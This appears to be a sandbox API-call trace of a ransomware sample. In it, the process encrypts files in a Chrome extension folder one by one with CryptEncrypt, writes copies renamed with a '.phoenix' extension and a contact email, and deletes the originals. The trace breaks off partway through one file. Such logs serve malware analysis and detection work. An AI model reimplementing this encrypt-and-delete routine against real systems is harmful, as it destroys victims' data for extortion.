	[0263.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.757] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.757] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.758] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0263.758] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.758] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x665, lpOverlapped=0x0) returned 1
	[0263.801] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x670, dwBufLen=0x670 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x670) returned 1
	[0263.801] WriteFile (in: hFile=0x308, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x670, lpOverlapped=0x0) returned 1
	[0263.802] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0263.802] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.802] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0263.802] CryptDestroyKey (hKey=0x151780) returned 1
	[0263.802] WriteFile (in: hFile=0x308, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0263.802] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.802] CloseHandle (hObject=0x2c0) returned 1
	[0263.803] CloseHandle (hObject=0x308) returned 1
	[0263.803] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js")) returned 1
	[0263.821] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.821] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.825] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=72113) returned 1
	[0263.825] CloseHandle (hObject=0x308) returned 1
	[0263.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html")) returned 0x20
	[0263.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.825] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.825] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0263.827] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0263.827] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.827] ReadFile (in: hFile=0x308, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x119b1, lpOverlapped=0x0) returned 1
	[0263.906] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x119c0, dwBufLen=0x119c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x119c0) returned 1
	[0263.906] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x119c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x119c0, lpOverlapped=0x0) returned 1
	[0263.908] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0263.908] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.908] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0263.908] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.908] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0263.908] CryptDestroyKey (hKey=0x151400) returned 1
	[0263.908] CloseHandle (hObject=0x308) returned 1
	[0263.908] CloseHandle (hObject=0x304) returned 1
	[0263.908] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.html")) returned 1
	[0263.911] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0263.912] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=139240) returned 1
	[0263.912] CloseHandle (hObject=0x304) returned 1
	[0263.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js")) returned 0x20
	[0263.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.912] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0263.912] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.913] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.913] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.913] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0263.913] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.913] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x21fe8, lpOverlapped=0x0) returned 1
	[0263.940] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x21ff0, dwBufLen=0x21ff0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x21ff0) returned 1
	[0263.940] WriteFile (in: hFile=0x308, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x21ff0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x21ff0, lpOverlapped=0x0) returned 1
	[0263.944] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0263.944] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.944] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.944] CryptDestroyKey (hKey=0x151500) returned 1
	[0263.944] WriteFile (in: hFile=0x308, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.944] CryptDestroyKey (hKey=0x151400) returned 1
	[0263.944] CloseHandle (hObject=0x304) returned 1
	[0263.944] CloseHandle (hObject=0x308) returned 1
	[0263.945] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app.js")) returned 1
	[0263.946] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.947] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=6685) returned 1
	[0263.947] CloseHandle (hObject=0x308) returned 1
	[0263.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css")) returned 0x20
	[0263.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.947] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.947] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0263.948] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0263.948] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.948] ReadFile (in: hFile=0x308, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1a1d, lpOverlapped=0x0) returned 1
	[0263.985] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1a20, dwBufLen=0x1a20 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1a20) returned 1
	[0263.986] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1a20, lpOverlapped=0x0) returned 1
	[0263.986] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0263.986] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.986] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0263.986] CryptDestroyKey (hKey=0x151340) returned 1
	[0263.986] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0263.987] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.987] CloseHandle (hObject=0x308) returned 1
	[0263.987] CloseHandle (hObject=0x304) returned 1
	[0263.987] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_min.css")) returned 1
	[0263.993] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.993] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0263.993] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=59) returned 1
	[0263.993] CloseHandle (hObject=0x304) returned 1
	[0263.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html")) returned 0x20
	[0263.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.994] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0263.994] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.994] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.994] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\devices.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.994] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0263.994] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.994] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3b, lpOverlapped=0x0) returned 1
	[0263.995] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
